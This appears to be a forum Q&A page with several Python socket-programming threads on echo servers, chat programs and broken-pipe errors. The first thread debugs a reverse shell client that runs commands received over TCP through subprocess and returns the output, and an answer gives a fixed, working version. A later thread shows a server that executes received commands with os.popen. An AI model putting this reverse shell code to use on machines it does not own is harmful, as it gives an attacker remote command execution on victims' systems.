So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3
Here's the client (It's a reverse TCP connection):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Here's the server:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Here's the output that I receive on the server:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.
Halp?
Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
EDIT:
Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.
TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.
The server:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
The client:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Shashank is right, once it has received data once, it gets back to the accept loop.
If you want to keep receiving for this client while accepting new connections you should consider creating a thread which will handle the connection, and then keep accepting new ones in your main.
Related
I have the following code for the server:
import socket
import threading
def handle_client(client_socket):
request = client_socket.recv(1024)
print ("[*] Received: %s" % request)
client_socket.send("ACK!".encode("utf-8"))
client_socket.close()
bind_ip = "0.0.0.0"
bind_port = 9998
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print ("[*] Listening on %s:%d" % (bind_ip, bind_port))
while True:
client, addr = server.accept()
print ("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
client_handler = threading.Thread(target = handle_client, args = (client))
client_handler.start()
And the following on the client side:
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
if len(buffer) > 0:
client.send(buffer.encode("utf-8"))
data = client.recv(4096).decode("utf-8")
print(" - " + data)
while True:
buffer = input("Input:")
buffer += "\n"
client.send(buffer.encode("utf-8"))
data = client.recv(4096).decode("utf-8")
print (" - " + data)
The function client_sender is called by another function where I can choose if listen incoming connection or send data to someone.
I will call it in this way:
python3 filename.py -ip 0.0.0.0 -port 9998
I can then write some data. The first time I do it I press CTRL + D to send it and the server gets and the client gets the response.But when I try to send some data from inside the "While True" loop the server never gets it and I receive this:
client.send(buffer.encode("utf-8"))
BrokenPipeError: [Errno 32] Broken pipe
How do I solve it? The only solution I found that works is to move these two lines inside the "While True" loop:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
However it seems inefficient to me to re-connect every time.
EDIT
As suggested by Sam Mason, changing the handle_client in the following way solves the problem:
def handle_client(client_socket):
while True:
request = client_socket.recv(1024).decode("utf-8")
if len(request):
print ("[*] Received: %s" % request)
client_socket.send("ACK!".encode("utf-8"))
else:
client_socket.close()
break
your server is closing the port immediately after a single recv. I'd suggest changing your handle_client code to have some sort of while loop that ends when recv returns an empty string (this indicates the client has shutdown their end of the connection, probably by closeing their connection)
I am playing with socket and tried to create simple chat server with only one client connection. Code and output as follows.
echo_server.py
import socket
host = ''
port = 4538
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
print "Starting Server"
while 1:
client, address = s.accept()
try:
data = client.recv(size)
if data is not None:
if data is 'q':
print "I received request to close the connection"
client.send('q')
continue
print "I got this from client {}".format(data)
client.send(data)
continue
if data == 0:
client.close()
finally:
client.close()
echo_client.py
import socket
host = ''
port = 4538
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
try:
while 1:
message = filename = raw_input('Enter a your message: ')
s.send(message)
data = s.recv(1024)
if data is 'q':
print "You requested to close the connection"
break
print "Received from socket {}".format(data)
finally:
s.close()
Now, I had tried with sendall() too but it doesn't work. Following is the output on both sides
client:
Enter a your message: hello
Received from socket hello
Enter a your message: world
Received from socket
Enter a your message: hi
Traceback (most recent call last):
File "echo_client.py", line 12, in <module>
s.send(message)
socket.error: [Errno 32] Broken pipe
And on server
Starting Server
I got this from client hello
As you can see, the server doesn't get the second message(world). And replies with nothing and when I send third request to server with hi, client terminates with Broken Pipe
How do I go about fixing it?
EDIT 1:
I changed the code now it's following. The s.accept() gets stuck in second request. Following is the code.
echo_server.py
import socket
host = ''
port = 4538
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
print "Starting Server"
try:
while 1:
print "BEFORE REQUEST"
client, address = s.accept()
print "AFTER REQUEST"
data = client.recv(size)
if data:
if data is 'q':
print "I received request to close the connection"
client.send('q')
print "I got this from client {}".format(data)
client.send(data)
else:
print "CLOSING IN ELSE"
client.close()
except:
print "CLOSING IN except"
client.close()
Following is the output.
BEFORE REQUEST
AFTER REQUEST
I got this from client hello
BEFORE REQUEST
As you can see for the second time accept() never returns. How to make it working?
recv returns empty string when the client is closes the connection, not None or 0. Since empty string is a False condition, simply use if data: or if not data:.
And, as #JonClements pointed out, use an except instead of a finally in the server, or put the while inside the try and if not data: break to exit the while and execute the finally.
I am learning socket programming using python. my first assignment is to a write a client.py and a server.py. The client sends a message to server. The server receives the message of 16 bytes each time. After it has received the entire message, it will send the same message back to client.
so it is very simple. The server has backlog of 1. After the server sends the message to client, the connection to client close and the server should be open to receive new connection.
my current code fails in the last step. It is not open to receive new connections. It is throwing error. I even figured out the error. but I do not know how to fix this.
The error comes from server.py because I call for sock.accept() but I have closed the sock.
Let me explain my server.py code: I have two while loops. The outer loop looks for new connection, and the inner loop looks process request from connections i.e it simply receives data, wait till everything is received and send it back to client and finally close the connection.
I am asked not to change the structure of two while loops but just implement them.
Any thoughts or ideas on this:
client.py
import socket
import sys
def client(msg, log_buffer=sys.stderr):
server_address = ('localhost', 10000)
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)
sock.connect(server_address)
print >>log_buffer, 'connecting to {0} port {1}'.format(*server_address)
try:
print >>log_buffer, 'sending "{0}"'.format(msg)
sock.sendall(msg)
chunk = ''
done=False;
while not done:
chunk+=sock.recv(16)
if chunk==msg:
done=True
print >>log_buffer, 'received "{0}"'.format(chunk)
finally:
print >>log_buffer, 'closing socket'
sock.close()
if __name__ == '__main__':
if len(sys.argv) != 2:
usg = '\nusage: python echo_client.py "this is my message"\n'
print >>sys.stderr, usg
sys.exit(1)
msg = sys.argv[1]
client(msg)
Server.py
import socket
import sys
def server(log_buffer=sys.stderr):
# set an address for our server
address = ('127.0.0.1', 10000)
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# log that we are building a server
print >>log_buffer, "making a server on {0}:{1}".format(*address)
sock.bind(address)
sock.listen(1)
try:
# the outer loop controls the creation of new connection sockets. The
# server will handle each incoming connection one at a time.
while True:
print >>log_buffer, 'waiting for a connection'
conn,add=sock.accept()
addr=(conn,add)
try:
print >>log_buffer, 'connection - {0}:{1}'.format(*addr)
# the inner loop will receive messages sent by the client in
# buffers. When a complete message has been received, the
# loop will exit
data = ''
while True:
recvdata=conn.recv(16)
print recvdata
data+=recvdata
print >>log_buffer, 'received "{0}"'.format(data)
print >>log_buffer, "len of received data: {0}".format(len(recvdata))
if len(recvdata)<16:
print >>log_buffer,"sending data"
conn.sendall(data)
break
conn.close()
finally:
sock.close()
except KeyboardInterrupt:
sock.close()
if __name__ == '__main__':
server()
sys.exit(0)
I runpython server.py in one terminal andpython client.py "This is the first message. send me back"` in a different terminal. The client connection is lost normally as expected. But I get the following error at server side (towards the end):
making a server on 127.0.0.1:10000
waiting for a connection
connection - <socket._socketobject object at 0x100849c20>:('127.0.0.1', 50626)
sairam hopefully
received "sairam hopefully"
len of received data: 16
this works lets
received "sairam hopefully this works lets"
len of received data: 16
c
received "sairam hopefully this works lets c"
len of received data: 2
sending data
waiting for a connection
Traceback (most recent call last):
File "echo_server.py", line 89, in <module>
server()
File "echo_server.py", line 39, in server
conn,add=sock.accept()
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 202, in accept
sock, addr = self._sock.accept()
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
socket.error: [Errno 9] Bad file descriptor
You are closing sock inside your while loop. Don't do that. sock is your long-lasting server socket, which needs to remain open to listen for new connections. conn is your ephemeral socket, which needs to remain open only the length of a single connection.
Close conn after each connection, close sock when the server needs to terminate.
More simply, replace these lines:
finally:
sock.close()
with
finally:
conn.close()
What you are trying to do is a simple echo server, which I believe you can implement much more simply.
Server:
import socket
host = ''
port = 50000
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
while 1:
client, address = s.accept()
data = client.recv(size)
if data:
client.send(data)
client.close()
Client:
import socket
host = 'localhost'
port = 50000
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send('Hello, world')
data = s.recv(size)
s.close()
print 'Received:', data
I am creating a Python Server/Client chat program (like AOL instant messenger) using sockets.
I run into a problem when I force quit the server or the client because my socketInstance.recv() method is sent a huge amount of "" blank strings. I am wondering how to run a closing method, like a deconstructor, when the cmd window is force quit so I can exit gracefully.
I've included my code, just in case (shouldn't be necessary tho):
Echo server program
import socket
import sys
import time
HOST = '' # Symbolic name meaning all available interfaces
PORT = 50007 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s = socket.socket() # Create a socket object
HOST = socket.gethostname() # Get local machine name
print "Socket hostname: ", HOST
s.bind((HOST, PORT))
conn = None
def check_for_messages():
print 'Check for messages...'
global conn
while 1:
try:
data = conn.recv(1024)
if not data: break
conn.sendall(data)
print data
except socket.error:
#[Errno 10054] Client Closes
pass
print "END OF CHECK MESS"
def check_for_client():
print 'Listening...'
global conn
s.listen(1)
conn, addr = s.accept()
print 'Connected by', addr
check_for_client()
check_for_messages()
Echo client program
import threading
import socket
import time
PORT = 50007 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = socket.gethostname() # The local host
s.connect((HOST, PORT))
getUserInputThread = None
getMessThread = None
receivedMessages = []
def getMessage():
print "getMessageThread running"
while 1:
data = s.recv(1024)
if not data:
print "OVERLORD: Possible server disconnect"
break
receivedMessages.append(data)
print "getMessageThread ending\n"
def getUserInput():
print "getUserInputThread running"
while 1:
message = raw_input("type: ")
s.sendall(message)
#print messages in list:
while len(receivedMessages) > 0:
print "Received Messages Length: %d" % len(receivedMessages)
print receivedMessages.pop(0)
print "getUserInputThread ending"
getUserInputThread = threading.Thread(target=getUserInput)
getUserInputThread.start()
getMessThread = threading.Thread(target=getMessage)
getMessThread.start()
Thanks,
Jordan
You could use the atexit module to perform final cleanup before terminating:
import atexit
#atexit.register
def do_cleanup():
print "doing some cleanup..."
#close sockets, put chairs on tables, etc
print "goodbye"
#loop forever, until the user hits ctrl-c
while True:
pass
Result:
C:\Users\kevin\Desktop>test.py
Traceback (most recent call last):
File "C:\Users\kevin\Desktop\test.py", line 12, in <module>
while True:
KeyboardInterrupt
doing some cleanup...
goodbye
This will work if your user force quits with a KeyboardInterrupt, but not if he closes the command window with the X button, terminates the task with task manager, unplugs the computer, etc.
I'm trying to create a basic server and client script. The idea is that the client can connect to the server and execute commands. Kinda like SSH but very simple. Heres my server code:
import sys, os, socket
host = ''
port = 50103
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print("Server started on port: ", port)
s.listen(1)
while (1):
conn, addr = s.accept()
print 'New connection from ', addr
try:
while True:
rc = conn.recv(2)
pipe = os.popen(rc)
rl = pipe.readlines()
fl = conn.makefile('w', 0)
fl.writelines(rl[:-1])
fl.close()
except IOError:
conn.close()
And here is my client:
import sys, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = input('Port: ')
s.connect((host, port))
while (1):
cmd = raw_input('$ ')
s.send(cmd)
file = s.makefile('r', 0)
sys.stdout.writelines(file.readlines())
file.close()
Here is my problem. I start the server and then run the client on the same machine. I enter the port and connect. Then I get the raw_input which is the '$'. If I type a command like 'ls' it just hangs on the client side. I have to exit the server for the client to receive the output of ls. By the way I am running Ubuntu Linux. Not sure if that matters.
When you makefile() on the socket and then use readlines() on it, it will continue until you reach an end of file, which in the socket case is that it closed from the other end.
Using makefile() in this case makes no sense to me, especially since you create it and close it after each command. Just use send() and recv() on both ends.
You probably also want to have some sort of actual "protocol" so the server tells the client "HERE COMES A RESPONSE" and "THIS IS THE END OF THE RESPONSE" so that the client knows. Otherwise it gets hard to know when to stop waiting for more response. :)
Update with an example that works:
server.py:
import sys, os, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 50500))
print("Server started")
s.listen(1)
while True:
print "Accepting"
conn, addr = s.accept()
print 'New connection from ', addr
while True:
try:
rc = conn.recv(1024)
print "Command", rc
if not rc.strip():
continue
if rc.strip() == 'END':
print "Close"
conn.send("**END**")
conn.close()
break
else:
conn.send("This is the result of command %s\n" % rc)
except Exception:
conn.close()
sys.exit()
client.py
import sys, os, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 50500))
while True:
cmd = raw_input('$ ')
s.send(cmd)
result = s.recv(1024)
print result
if result == "**END**":
print "Ending"
break
Well for one thing you're only connecting on the client once and on the server you're closing the socket after every read.
You should take a look at this example.
http://ilab.cs.byu.edu/python/socket/echoserver.html
You're doing quite a few things incorrectly.